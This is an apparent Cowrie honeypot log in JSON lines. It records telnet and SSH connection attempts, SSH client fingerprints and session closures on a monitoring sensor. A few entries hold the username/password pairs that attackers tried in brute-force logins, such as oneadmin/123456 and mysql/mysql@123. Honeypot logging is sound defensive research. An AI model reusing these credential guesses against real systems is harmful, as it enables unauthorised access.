{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":47782,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c969c87112d","protocol":"telnet","message":"New connection: 122.102.44.174:47782 (10.17.0.5:23) [session: 4c969c87112d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:37.709806Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":47822,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3c3b0dadc6","protocol":"telnet","message":"New connection: 122.102.44.174:47822 (10.17.0.5:23) [session: af3c3b0dadc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:37.738441Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48170,"dst_ip":"10.17.0.5","dst_port":23,"session":"768499467cad","protocol":"telnet","message":"New connection: 122.102.44.174:48170 (10.17.0.5:23) [session: 768499467cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:38.017172Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5fdb4c2248c","protocol":"telnet","message":"New connection: 122.102.44.174:48892 (10.17.0.5:23) [session: a5fdb4c2248c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:38.592307Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48924,"dst_ip":"10.17.0.5","dst_port":23,"session":"32bb4ab4d943","protocol":"telnet","message":"New connection: 122.102.44.174:48924 (10.17.0.5:23) [session: 32bb4ab4d943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:38.615903Z"}
{"eventid":"cowrie.session.closed","duration":30.470195055007935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:39.147974Z","src_ip":"122.102.44.174","session":"0d0033132d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":50272,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc531112bd7","protocol":"telnet","message":"New connection: 122.102.44.174:50272 (10.17.0.5:23) [session: 0fc531112bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:39.618726Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":51526,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15b228fee81","protocol":"telnet","message":"New connection: 122.102.44.174:51526 (10.17.0.5:23) [session: c15b228fee81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:40.589002Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":51538,"dst_ip":"10.17.0.5","dst_port":23,"session":"41524d2cb035","protocol":"telnet","message":"New connection: 122.102.44.174:51538 (10.17.0.5:23) [session: 41524d2cb035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:40.593698Z"}
{"eventid":"cowrie.session.closed","duration":30.725511074066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:41.131103Z","src_ip":"122.102.44.174","session":"802b78187db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":52838,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbf44bd0aaa","protocol":"telnet","message":"New connection: 122.102.44.174:52838 (10.17.0.5:23) [session: 5bbf44bd0aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:41.609820Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":52844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3558c5d31f69","protocol":"telnet","message":"New connection: 122.102.44.174:52844 (10.17.0.5:23) [session: 3558c5d31f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:41.615415Z"}
{"eventid":"cowrie.session.closed","duration":30.526018381118774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:42.161569Z","src_ip":"122.102.44.174","session":"dac5dba87c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":54010,"dst_ip":"10.17.0.5","dst_port":23,"session":"13517d55fd4e","protocol":"telnet","message":"New connection: 122.102.44.174:54010 (10.17.0.5:23) [session: 13517d55fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:42.577473Z"}
{"eventid":"cowrie.session.closed","duration":30.590184926986694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.164922Z","src_ip":"122.102.44.174","session":"55ab312f373b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":6736,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e5454d44b38","protocol":"ssh","message":"New connection: 201.149.53.243:6736 (10.17.0.5:22) [session: 6e5454d44b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.687758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.692396Z","src_ip":"201.149.53.243","session":"6e5454d44b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.759230Z","src_ip":"201.149.53.243","session":"6e5454d44b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b4cce65144","protocol":"ssh","message":"New connection: 210.183.21.53:41188 (10.17.0.5:22) [session: b8b4cce65144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.909044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:44.912718Z","src_ip":"210.183.21.53","session":"b8b4cce65144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneadmin","password":"123456","message":"login attempt [oneadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.058446Z","src_ip":"201.149.53.243","session":"6e5454d44b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.113053Z","src_ip":"210.183.21.53","session":"b8b4cce65144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.253661155700684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.118383Z","src_ip":"122.102.44.174","session":"22bb7f95ca7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":57856,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00a54827076","protocol":"telnet","message":"New connection: 122.102.44.174:57856 (10.17.0.5:23) [session: d00a54827076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.589948Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":58162,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb1231d97da","protocol":"telnet","message":"New connection: 122.102.44.174:58162 (10.17.0.5:23) [session: cbb1231d97da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.807297Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@123","message":"login attempt [mysql/mysql@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:45.953145Z","src_ip":"210.183.21.53","session":"b8b4cce65144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:46.128024Z","src_ip":"201.149.53.243","session":"6e5454d44b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52363157272339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:46.144732Z","src_ip":"122.102.44.174","session":"6246c4f40765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40859866142273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:46.411870Z","src_ip":"122.102.44.174","session":"2e183ca19075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":59426,"dst_ip":"10.17.0.5","dst_port":23,"session":"6912879d1647","protocol":"telnet","message":"New connection: 122.102.44.174:59426 (10.17.0.5:23) [session: 6912879d1647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:46.639908Z"}
{"eventid":"cowrie.session.closed","duration":30.351197719573975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:47.147348Z","src_ip":"122.102.44.174","session":"1b90307a1286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:47.158133Z","src_ip":"210.183.21.53","session":"b8b4cce65144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":60782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d831a4d912dc","protocol":"telnet","message":"New connection: 122.102.44.174:60782 (10.17.0.5:23) [session: d831a4d912dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:47.586478Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":34634,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a30a64de5f","protocol":"telnet","message":"New connection: 122.102.44.174:34634 (10.17.0.5:23) [session: 65a30a64de5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:49.060377Z"}
{"eventid":"cowrie.session.closed","duration":30.692825078964233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:49.292869Z","src_ip":"122.102.44.174","session":"6da96a5de197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":35536,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a648c8139b9","protocol":"telnet","message":"New connection: 122.102.44.174:35536 (10.17.0.5:23) [session: 7a648c8139b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:49.788672Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":36334,"dst_ip":"10.17.0.5","dst_port":23,"session":"88062aac9d09","protocol":"telnet","message":"New connection: 122.102.44.174:36334 (10.17.0.5:23) [session: 88062aac9d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:50.416457Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":36596,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2364f2b864","protocol":"telnet","message":"New connection: 122.102.44.174:36596 (10.17.0.5:23) [session: 7e2364f2b864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:50.615750Z"}
{"eventid":"cowrie.session.closed","duration":30.458487510681152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:51.110903Z","src_ip":"122.102.44.174","session":"7a7fc552c3e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.777514457702637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:51.788808Z","src_ip":"122.102.44.174","session":"76894c0b2d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495587587356567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:52.150712Z","src_ip":"122.102.44.174","session":"8af83ee42601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":39012,"dst_ip":"10.17.0.5","dst_port":23,"session":"767a0bb7a4e3","protocol":"telnet","message":"New connection: 122.102.44.174:39012 (10.17.0.5:23) [session: 767a0bb7a4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:52.571583Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40466,"dst_ip":"10.17.0.5","dst_port":23,"session":"da0c1abdb43b","protocol":"telnet","message":"New connection: 122.102.44.174:40466 (10.17.0.5:23) [session: da0c1abdb43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:53.596217Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"5133beec5854","protocol":"telnet","message":"New connection: 122.102.44.174:40758 (10.17.0.5:23) [session: 5133beec5854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:53.779591Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":42066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15bdaa9be69","protocol":"telnet","message":"New connection: 122.102.44.174:42066 (10.17.0.5:23) [session: d15bdaa9be69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:54.692038Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"116f31d12be7","protocol":"telnet","message":"New connection: 122.102.44.174:42098 (10.17.0.5:23) [session: 116f31d12be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:54.709437Z"}
{"eventid":"cowrie.session.closed","duration":30.82008194923401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:55.124747Z","src_ip":"122.102.44.174","session":"cea8011c5518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36334,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f76001dd2f","protocol":"ssh","message":"New connection: 159.203.92.129:36334 (159.203.135.109:22) [session: 83f76001dd2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.106190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.111243Z","src_ip":"159.203.92.129","session":"83f76001dd2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.535783290863037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.115740Z","src_ip":"122.102.44.174","session":"77e40cbfa4d0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.121099Z","src_ip":"159.203.92.129","session":"83f76001dd2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"User","password":"123456","message":"login attempt [User/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.140599Z","src_ip":"159.203.92.129","session":"83f76001dd2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.820641040802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:57.151009Z","src_ip":"122.102.44.174","session":"21a2c218eb7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:58.147101Z","src_ip":"159.203.92.129","session":"83f76001dd2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52982997894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:00.122599Z","src_ip":"122.102.44.174","session":"2d183077abed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514657020568848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:00.129975Z","src_ip":"122.102.44.174","session":"f23d9f5a10e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564452409744263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:01.195838Z","src_ip":"122.102.44.174","session":"ec24c19dd6fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":50700,"dst_ip":"10.17.0.5","dst_port":23,"session":"4439a6333696","protocol":"telnet","message":"New connection: 122.102.44.174:50700 (10.17.0.5:23) [session: 4439a6333696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:01.588973Z"}
{"eventid":"cowrie.session.closed","duration":30.413654088974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:02.139775Z","src_ip":"122.102.44.174","session":"5cce1949a486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44560408592224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:02.148981Z","src_ip":"122.102.44.174","session":"5c214dee2bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":51998,"dst_ip":"10.17.0.5","dst_port":23,"session":"77bbbb9d51a7","protocol":"telnet","message":"New connection: 122.102.44.174:51998 (10.17.0.5:23) [session: 77bbbb9d51a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:02.581241Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8f262e8285","protocol":"telnet","message":"New connection: 122.102.44.174:52556 (10.17.0.5:23) [session: 5b8f262e8285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:03.025718Z"}
{"eventid":"cowrie.session.closed","duration":30.514872789382935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:03.108265Z","src_ip":"122.102.44.174","session":"4cb4407e800d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54713797569275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:03.120862Z","src_ip":"122.102.44.174","session":"a8ffc8fb2e2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3615140914917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:07.108072Z","src_ip":"122.102.44.174","session":"9878aeed2114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495189428329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:15:07.124958Z","src_ip":"122.102.44.174","session":"7d4a21696a21","protocol":"telnet"}
